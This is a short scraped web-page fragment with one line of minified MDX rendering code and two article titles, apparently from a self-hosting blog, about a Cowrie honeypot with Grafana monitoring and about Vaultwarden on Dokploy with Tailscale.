r?n(r,{...e,children:n(_createMdxContent,{...e})}):_createMdxContent(e)}};

Setting Up Cowrie Honeypot w/ Grafana Monitoring

Vaultwarden on Dokploy w/ Tailscale